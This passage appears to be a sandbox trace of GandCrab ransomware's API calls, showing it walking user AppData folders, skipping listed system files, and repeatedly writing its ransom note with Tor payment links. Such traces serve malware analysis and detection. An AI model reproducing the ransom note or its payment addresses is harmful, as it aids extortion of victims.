(lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.089] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.089] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.089] lstrcmpW (lpString1="Low", lpString2=".") returned 1 [0054.089] lstrcmpW (lpString1="Low", lpString2="..") returned 1 [0054.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0054.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\" [0054.089] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.089] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.089] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.089] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.089] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.089] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.089] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned 79 [0054.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*" [0054.089] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b89b0 [0054.090] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.090] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.090] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.090] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.090] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.090] FindClose (in: hFindFile=0x5b89b0 | out: hFindFile=0x5b89b0) returned 1 [0054.090] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.090] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\\\GDCB-DECRYPT.txt") returned 96 [0054.090] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.091] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.091] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.092] CloseHandle (hObject=0x500) returned 1 [0054.092] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.092] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned 79 [0054.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*" [0054.092] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8770 [0054.092] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.092] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.092] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.092] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.092] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.092] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.092] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt" [0054.092] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.092] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0054.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0054.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0054.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.093] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.093] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.093] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.093] FindClose (in: hFindFile=0x5b8770 | out: hFindFile=0x5b8770) returned 1 [0054.093] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.093] FindClose (in: hFindFile=0x5b8730 | out: hFindFile=0x5b8730) returned 1 [0054.093] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.093] FindClose (in: hFindFile=0x5b8970 | out: hFindFile=0x5b8970) returned 1 [0054.093] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.093] lstrcmpW (lpString1="MMC", lpString2=".") returned 1 [0054.093] lstrcmpW (lpString1="MMC", lpString2="..") returned 1 [0054.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" [0054.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\" [0054.093] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.093] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.094] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned 52 [0054.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*" [0054.094] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8b30 [0054.094] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.094] FindNextFileW (in: hFindFile=0x5b8b30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.094] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.094] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.094] FindNextFileW (in: hFindFile=0x5b8b30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.094] FindClose (in: hFindFile=0x5b8b30 | out: hFindFile=0x5b8b30) returned 1 [0054.094] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.094] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\\\GDCB-DECRYPT.txt") returned 69 [0054.094] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\mmc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.094] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.094] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.095] CloseHandle (hObject=0x4f8) returned 1 [0054.095] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.095] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned 52 [0054.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*" [0054.095] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8730 [0054.095] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.095] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.095] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.095] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.095] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.095] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.095] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt" [0054.095] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.096] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0054.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0054.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0054.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.096] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.096] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.096] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.096] FindClose (in: hFindFile=0x5b8730 | out: hFindFile=0x5b8730) returned 1 [0054.096] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.096] lstrcmpW (lpString1="MS Project", lpString2=".") returned 1 [0054.096] lstrcmpW (lpString1="MS Project", lpString2="..") returned 1 [0054.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0054.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\" [0054.096] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.096] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.096] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.096] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.096] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.096] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.097] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned 59 [0054.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*" [0054.097] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8cf0 [0054.097] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.097] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.097] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.097] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.097] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.097] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0054.097] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0054.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0054.097] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned 61 [0054.097] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.097] FindClose (in: hFindFile=0x5b8cf0 | out: hFindFile=0x5b8cf0) returned 1 [0054.097] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.097] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\\\GDCB-DECRYPT.txt") returned 76 [0054.097] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.097] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.097] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.098] CloseHandle (hObject=0x4f8) returned 1 [0054.098] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.098] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned 59 [0054.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*" [0054.098] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b88f0 [0054.098] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.098] FindNextFileW (in: hFindFile=0x5b88f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.098] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.098] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.098] FindNextFileW (in: hFindFile=0x5b88f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.098] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0054.098] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0054.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0054.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\" [0054.098] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.099] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.099] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.099] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.099] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: 